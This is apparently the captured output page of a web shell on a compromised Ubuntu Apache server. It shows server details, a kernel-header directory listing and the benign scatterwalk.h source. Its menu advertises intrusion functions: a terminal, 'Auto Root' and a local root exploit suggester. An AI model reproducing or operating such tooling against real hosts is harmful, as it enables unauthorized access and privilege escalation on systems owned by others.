Linux anchor 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
Apache/2.4.18 (Ubuntu)
Server IP : 10.10.100.4 & Your IP : 216.73.217.150
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
src /
linux-headers-4.4.0-210 /
include /
crypto /
Delete
Unzip
Name
Size
Permission
Date
Action
internal
[ DIR ]
drwxr-xr-x
2021-04-21 07:33
ablk_helper.h
734
B
-rw-r--r--
2016-01-11 00:01
aead.h
18.71
KB
-rw-r--r--
2016-01-11 00:01
aes.h
1019
B
-rw-r--r--
2016-01-11 00:01
akcipher.h
11.52
KB
-rw-r--r--
2016-01-11 00:01
algapi.h
10.31
KB
-rw-r--r--
2016-01-11 00:01
authenc.h
845
B
-rw-r--r--
2016-01-11 00:01
b128ops.h
2.41
KB
-rw-r--r--
2016-01-11 00:01
blowfish.h
376
B
-rw-r--r--
2016-01-11 00:01
cast5.h
551
B
-rw-r--r--
2016-01-11 00:01
cast6.h
597
B
-rw-r--r--
2016-01-11 00:01
cast_common.h
193
B
-rw-r--r--
2016-01-11 00:01
chacha20.h
595
B
-rw-r--r--
2016-01-11 00:01
compress.h
4.03
KB
-rw-r--r--
2016-01-11 00:01
cryptd.h
1.84
KB
-rw-r--r--
2016-01-11 00:01
crypto_wq.h
122
B
-rw-r--r--
2016-01-11 00:01
ctr.h
524
B
-rw-r--r--
2016-01-11 00:01
des.h
503
B
-rw-r--r--
2016-01-11 00:01
dh.h
2.61
KB
-rw-r--r--
2021-04-16 11:57
drbg.h
8.57
KB
-rw-r--r--
2016-01-11 00:01
ecdh.h
2.66
KB
-rw-r--r--
2021-04-16 11:57
gf128mul.h
8.04
KB
-rw-r--r--
2016-01-11 00:01
ghash.h
342
B
-rw-r--r--
2021-04-16 11:57
hash.h
29.56
KB
-rw-r--r--
2021-04-16 11:57
hash_info.h
1.13
KB
-rw-r--r--
2021-04-16 11:57
if_alg.h
2.46
KB
-rw-r--r--
2021-04-16 11:57
kpp.h
9.22
KB
-rw-r--r--
2021-04-16 11:57
lrw.h
1.18
KB
-rw-r--r--
2016-01-11 00:01
mcryptd.h
2.33
KB
-rw-r--r--
2021-04-16 11:57
md5.h
401
B
-rw-r--r--
2016-01-11 00:01
null.h
303
B
-rw-r--r--
2016-01-11 00:01
padlock.h
649
B
-rw-r--r--
2016-01-11 00:01
pcrypt.h
1.4
KB
-rw-r--r--
2016-01-11 00:01
pkcs7.h
1.2
KB
-rw-r--r--
2016-01-11 00:01
poly1305.h
881
B
-rw-r--r--
2021-04-16 11:57
public_key.h
2.79
KB
-rw-r--r--
2021-04-16 11:57
rng.h
6.59
KB
-rw-r--r--
2016-01-11 00:01
scatterwalk.h
2.91
KB
-rw-r--r--
2016-01-11 00:01
serpent.h
673
B
-rw-r--r--
2016-01-11 00:01
sha.h
2.66
KB
-rw-r--r--
2016-01-11 00:01
sha1_base.h
2.47
KB
-rw-r--r--
2016-01-11 00:01
sha256_base.h
3.03
KB
-rw-r--r--
2016-01-11 00:01
sha512_base.h
3.19
KB
-rw-r--r--
2016-01-11 00:01
skcipher.h
15.63
KB
-rw-r--r--
2021-04-16 11:57
twofish.h
716
B
-rw-r--r--
2016-01-11 00:01
xts.h
1.19
KB
-rw-r--r--
2021-04-16 11:57
Save
Rename
/* * Cryptographic scatter and gather helpers. * * Copyright (c) 2002 James Morris <jmorris@intercode.com.au> * Copyright (c) 2002 Adam J. Richter <adam@yggdrasil.com> * Copyright (c) 2004 Jean-Luc Cooke <jlcooke@certainkey.com> * Copyright (c) 2007 Herbert Xu <herbert@gondor.apana.org.au> * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the Free * Software Foundation; either version 2 of the License, or (at your option) * any later version. * */ #ifndef _CRYPTO_SCATTERWALK_H #define _CRYPTO_SCATTERWALK_H #include <asm/kmap_types.h> #include <crypto/algapi.h> #include <linux/hardirq.h> #include <linux/highmem.h> #include <linux/kernel.h> #include <linux/mm.h> #include <linux/scatterlist.h> #include <linux/sched.h> static inline void scatterwalk_crypto_chain(struct scatterlist *head, struct scatterlist *sg, int chain, int num) { if (chain) { head->length += sg->length; sg = sg_next(sg); } if (sg) sg_chain(head, num, sg); else sg_mark_end(head); } static inline unsigned long scatterwalk_samebuf(struct scatter_walk *walk_in, struct scatter_walk *walk_out) { return !(((sg_page(walk_in->sg) - sg_page(walk_out->sg)) << PAGE_SHIFT) + (int)(walk_in->offset - walk_out->offset)); } static inline unsigned int scatterwalk_pagelen(struct scatter_walk *walk) { unsigned int len = walk->sg->offset + walk->sg->length - walk->offset; unsigned int len_this_page = offset_in_page(~walk->offset) + 1; return len_this_page > len ? len : len_this_page; } static inline unsigned int scatterwalk_clamp(struct scatter_walk *walk, unsigned int nbytes) { unsigned int len_this_page = scatterwalk_pagelen(walk); return nbytes > len_this_page ? len_this_page : nbytes; } static inline void scatterwalk_advance(struct scatter_walk *walk, unsigned int nbytes) { walk->offset += nbytes; } static inline unsigned int scatterwalk_aligned(struct scatter_walk *walk, unsigned int alignmask) { return !(walk->offset & alignmask); } static inline struct page *scatterwalk_page(struct scatter_walk *walk) { return sg_page(walk->sg) + (walk->offset >> PAGE_SHIFT); } static inline void scatterwalk_unmap(void *vaddr) { kunmap_atomic(vaddr); } void scatterwalk_start(struct scatter_walk *walk, struct scatterlist *sg); void scatterwalk_copychunks(void *buf, struct scatter_walk *walk, size_t nbytes, int out); void *scatterwalk_map(struct scatter_walk *walk); void scatterwalk_done(struct scatter_walk *walk, int out, int more); void scatterwalk_map_and_copy(void *buf, struct scatterlist *sg, unsigned int start, unsigned int nbytes, int out); int scatterwalk_bytes_sglen(struct scatterlist *sg, int num_bytes); struct scatterlist *scatterwalk_ffwd(struct scatterlist dst[2], struct scatterlist *src, unsigned int len); #endif /* _CRYPTO_SCATTERWALK_H */